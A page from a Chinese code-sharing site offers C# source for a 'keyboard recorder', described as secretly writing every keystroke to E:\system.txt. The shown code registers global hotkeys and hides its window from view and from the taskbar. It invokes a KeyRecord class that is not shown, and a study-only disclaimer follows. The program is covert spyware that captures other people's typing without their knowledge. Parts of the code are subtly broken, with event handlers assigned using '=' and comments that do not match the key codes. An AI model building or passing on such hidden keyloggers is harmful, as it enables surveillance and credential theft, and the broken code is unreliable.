实例介绍
【实例简介】打开该实例以后,所有键盘的操作 均被写入 E盘的 system.txt文件下
【实例截图】
【核心代码】
/*
*desc : 键盘记录
*/
using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Threading;
using System.Data;
namespace PrintScreen
{
/// <summary>
/// Form1 的摘要说明。
/// </summary>
///
public enum KeyModifiers //组合键枚举
{
None = 0,
Alt = 1,
Control = 2,
Shift = 4,
Windows = 8
}
public class frmShow : System.Windows.Forms.Form
{
private System.ComponentModel.IContainer components;
public static System.Windows.Forms.TextBox txt;
/*
* RegisterHotKey函数原型及说明:
* BOOL RegisterHotKey(
* HWND hWnd, // window to receive hot-key notification
* int id, // identifier of hot key
* UINT fsModifiers, // key-modifier flags
* UINT vk // virtual-key code);
* 参数 id为你自己定义的一个ID值
* 对一个线程来讲其值必需在0x0000 - 0xBFFF范围之内,十进制为0~49151
* 对DLL来讲其值必需在0xC000 - 0xFFFF 范围之内,十进制为49152~65535
* 在同一进程内该值必须唯一参数 fsModifiers指明与热键联合使用按键
* 可取值为:MOD_ALT MOD_CONTROL MOD_WIN MOD_SHIFT参数,或数字0为无,1为Alt,2为Control,4为Shift,8为Windows
* vk指明热键的虚拟键码
*/
[System.Runtime.InteropServices.DllImport("user32.dll")] //申明API函数
public static extern bool RegisterHotKey(
IntPtr hWnd, // handle to window
int id, // hot key identifier
uint fsModifiers, // key-modifier options
Keys vk // virtual-key code
);
[System.Runtime.InteropServices.DllImport("user32.dll")] //申明API函数
public static extern bool UnregisterHotKey(
IntPtr hWnd, // handle to window
int id // hot key identifier
);
public frmShow()
{
//
// Windows 窗体设计器支持所必需的
//
InitializeComponent();
//
// TODO: 在 InitializeComponent 调用后添加任何构造函数代码
//
}
/// <summary>
/// 清理所有正在使用的资源。
/// </summary>
protected override void Dispose( bool disposing )
{
base.Dispose( disposing );
}
#region Windows 窗体设计器生成的代码
/// <summary>
/// 设计器支持所需的方法 - 不要使用代码编辑器修改
/// 此方法的内容。
/// </summary>
private void InitializeComponent()
{
//
// frmShow
//
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(488, 366);
this.Name = "frmShow";
this.Text = "Form1";
this.Closing = new System.ComponentModel.CancelEventHandler(this.frmShow_Closing);
this.Load = new System.EventHandler(this.frmShow_Load);
}
#endregion
/// <summary>
/// 应用程序的主入口点。
/// </summary>
[STAThread]
static void Main()
{
Application.Run(new frmShow());
}
private void button1_Click(object sender, System.EventArgs e)
{
}
private void frmShow_Load(object sender, System.EventArgs e)
{
//Handle为当前窗口的句柄,继续自Control.Handle,Control为定义控件的基类
//RegisterHotKey(Handle, 100, 0, Keys.A); //注册快捷键,热键为A
//RegisterHotKey(Handle, 100, KeyModifiers.Alt | KeyModifiers.Control, Keys.B);//这时热键为Alt CTRL B
RegisterHotKey(Handle, 100,8, Keys.Y); //1为Alt键,热键为Alt B
//RegisterHotKey(Handle, 100, KeyModifiers.Windows | KeyModifiers.Alt,Keys.A); //定义热键为Alt Tab,这里实现了屏幕系统Alt Tab键
RegisterHotKey(Handle, 200, 2, Keys.B); //注册2个热键,根据id值100,200来判断需要执行哪个函数
KR.KeyRecord kh=new KR.KeyRecord();
this.WindowState = FormWindowState.Minimized;
this.ShowInTaskbar = false;
}
private void frmShow_Closing(object sender, System.ComponentModel.CancelEventArgs e)
{
UnregisterHotKey(Handle, 100);//卸载第1个快捷键
UnregisterHotKey(Handle, 200); //缷载第2个快捷键
}
private void ProcessHotkey(Message m) //按下设定的键时调用该函数
{
IntPtr id = m.WParam; //IntPtr用于表示指针或句柄的平台特定类型
//MessageBox.Show(id.ToString());
string sid = id.ToString();
switch (sid)
{
case "100":
MessageBox.Show("调用B函数");
break;
case "200":
MessageBox.Show("调用B函数");
break;
}
}
protected override void WndProc(ref Message m)//监视Windows消息
{
const int WM_HOTKEY = 0x0312;//如果m.Msg的值为0x0312那么表示用户按下了热键
switch (m.Msg)
{
case WM_HOTKEY:
ProcessHotkey(m);//按下热键时调用ProcessHotkey()函数
break;
}
base.WndProc(ref m); //将系统消息传递自父类的WndProc
}
private void notifyIcon1_DoubleClick(object sender, System.EventArgs e)
{
this.Close();
}
}
}
好例子网口号:伸出你的我的手 — 分享!
网友评论
小贴士
感谢您为本站写下的评论,您的评论对其它用户来说具有重要的参考价值,所以请认真填写。
- 类似“顶”、“沙发”之类没有营养的文字,对勤劳贡献的楼主来说是令人沮丧的反馈信息。
- 相信您也不想看到一排文字/表情墙,所以请不要反馈意义不大的重复字符,也请尽量不要纯表情的回复。
- 提问之前请再仔细看一遍楼主的说明,或许是您遗漏了。
- 请勿到处挖坑绊人、招贴广告。既占空间让人厌烦,又没人会搭理,于人于己都无利。
关于好例子网
本站旨在为广大IT学习爱好者提供一个非营利性互相学习交流分享平台。本站所有资源都可以被免费获取学习研究。本站资源来自网友分享,对搜索内容的合法性不具有预见性、识别性、控制性,仅供学习研究,请务必在下载后24小时内给予删除,不得用于其他任何用途,否则后果自负。基于互联网的特殊性,平台无法对用户传输的作品、信息、内容的权属或合法性、安全性、合规性、真实性、科学性、完整权、有效性等进行实质审查;无论平台是否已进行审查,用户均应自行承担因其传输的作品、信息、内容而可能或已经产生的侵权或权属纠纷等法律责任。本站所有资源不代表本站的观点或立场,基于网友分享,根据中国法律《信息网络传播权保护条例》第二十二与二十三条之规定,若资源存在侵权或相关问题请联系本站客服人员,点此联系我们。关于更多版权及免责申明参见 版权及免责申明


支持(0) 盖楼(回复)